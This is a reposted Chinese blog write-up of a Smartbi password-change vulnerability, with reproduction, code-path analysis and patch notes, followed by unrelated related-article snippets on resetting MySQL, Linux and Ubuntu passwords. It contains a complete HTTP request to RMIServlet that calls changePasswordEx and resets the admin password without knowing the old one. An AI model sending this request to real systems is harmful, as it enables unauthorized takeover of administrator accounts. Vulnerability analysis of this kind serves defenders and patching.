Smartbi 修改用户密码漏洞

这篇具有很好参考价值的文章主要介绍了Smartbi 修改用户密码漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞简介

通过查看 Smartbi 的补丁包信息,发现存在漏洞在某种特定情况下修改用户的密码,进行简单的复现和分析

漏洞复现

在页面上修改密码时,需要知道原本的用户对应的密码

直接构造这样的数据包,就不需要知道原本的密码,知道用户名就可以修改密码

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.222.133:18080
Content-Length: 73
Cache-Control: max-age=0
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://192.168.222.133:18080
Referer: http://192.168.222.133:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1
Connection: close
​
className=UserService&methodName=changePasswordEx&params=["admin","","1"]

​​​

漏洞分析

smartbi.usermanager.ILocalUserManagerModule#changePasswordEx

smartbi.usermanager.UserManagerModule#changePasswordEx

 文章来源地址https://www.toymoban.com/news/detail-649153.html

修改密码的操作虽然获取了用户名 原本的密码 修改后的新密码,但是对原本的密码并没有做任何校验处理

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

userId 是根据传入的用户名查询到的

smartbi.usermanager.UserManagerModule#updateUserEx

smartbi.usermanager.UserManagerModule#updateUserExtend

漏洞修复

上传补丁包后再发送数据包,发现被拦截

匹配到对应的类名和方法就结束执行

更多网安技能的在线实操练习,请点击这里>>

 

到了这里,关于Smartbi 修改用户密码漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • Mysql—修改用户密码(重置密码)

    1、登录mysql 1 2 [root@localhost ~] # mysql -uroot -p123456 [root@localhost ~] # mysql -hlocalhost -uroot -p123456 如果忘记密码,则跳过MySQL的密码认证过程。步骤如下: 修改Mysql配置文件:vi /etc/my.cnf(注:windows下修改的是my.ini)。在[mysqld]后面任意一行添加“skip-grant-tables”用来跳过密码验证的过程

    2024年02月12日
    浏览(16)
  • Linux 用户账号管理-修改用户密码

    Linux 用户账号管理是运维人员必须要掌握的技能之一。其中,修改用户密码是比较常见的操作,本文将介绍在 Linux 系统中修改用户密码的方法,包括语法、实操和各种修改用户密码方法之间的区别。 在 Linux 中,修改用户密码的命令为 passwd ,其使用方法为: 其中,超级用户

    2024年02月14日
    浏览(12)
  • ubuntu修改用户名和用户密码

    ubuntu修改用户名和用户密码

    1.修改passwd文件 2.修改shadow文件 3.修改home目录下文件夹名 4.修改sudo权限(修改group用户组) 5.修改用户密码 sudo passwd username #修改用户密码 //username是用户设置用户名,记得替换 sudo passwd root #修改root密码

    2024年02月09日
    浏览(19)
  • 修改用户密码

    假设你要为用户名为\\\'username\\\'@\\\'localhost\\\'的用户设置新密码,你可以这样做: 其中,username 是用户名,localhost 是主机名, 123456是要更改的新密码。 使用 SET 语句来修改普通用户密码,语法格式如下: 注意:新密码要使用 PASSWORD() 函数来加密,如果不使用 PASSWORD() 加密,也会执

    2024年02月04日
    浏览(7)
  • mysql修改登录用户的密码

    1.如果是使用docker里装的mysql 首先使用 [root@localhost /]# docker ps #查看当前正在运行的容器,也会展示容器的id [root@localhost /]# docker exec -it 容器id /bin/bash root@b46d2c5dcd13:/# mysql -u root -p密码 mysqlupdate user set authentication_string = ‘新密码’ where user = ‘‘root’’; mysqlflush privileges; #退

    2024年02月08日
    浏览(9)
  • Weblogic控制台用户密码修改

    Weblogic控制台用户密码修改

    1、在浏览器输入:http://ip:7001/console,打开之后输入用户名和密码,登录到weblogic控制台,并按下面执行:  2、登录进来之后点击安全领域-myrealm  3、找到用户和组-选择weblogic用户 4、点击口令,并输入新的密码之后点击保存 在weblogic控制台页面改了密码之后,还需要登录服务

    2024年02月05日
    浏览(19)
  • docker修改容器用户名密码

    docker修改容器用户名密码

    1.docker ps|grep name(jenkins)  获得容器id   2.通过使用root用户身份以SSH方式登录docker容器 docker exec -it --user root container_id /bin/bash docker exec -it --user root 8fbf3ef0044c /bin/bash    3.进入容器后输入命令 passwd root  4.进入容器:     5.执行用户切换 su root.之后输入前面设置过的root密码    

    2024年02月11日
    浏览(11)
  • ubuntu修改用户名和密码

    1、设置root用户密码 终端显示 :Enter new UNIX password: 连续两次输入密码即可; 最后显示:passwd: password updated successfully 进入root用户,下面的操作一定要在root权限下进行,放置用户名和密码不一致; 2、修改用户密码 根据提示修改即可; 修改用户名,三步操作均为改成自己的

    2024年02月09日
    浏览(15)
  • Ubuntu 修改用户名和密码

    如果你要修改密码和用户名的话,请先修改密码,重启后,再修改用户名,重启。如果你先修改用户名,再修改密码的话,可能会导致你登录不了Ubuntu。 我犯过这样的错误,结果就重新装了下。 Ubuntu是一个Linux操作系统,修改密码和用户名是有危险的动作,请谨慎修改。 1、

    2024年02月09日
    浏览(11)
  • git 修改用户名和密码

    git 修改用户名和密码

    在控制面板修改凭证就可以进行修改用户名密码。 执行vim ~/.git-credentials,可以看到被保存的账号密码,删掉、修改或新增都可以! eg:http://账号:密码@git仓库http地址或用https://账号:密码@git仓库http地址 如果报go fatal: could not read Username for ‘http://coding.test.com’: terminal prompts

    2024年02月11日
    浏览(16)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包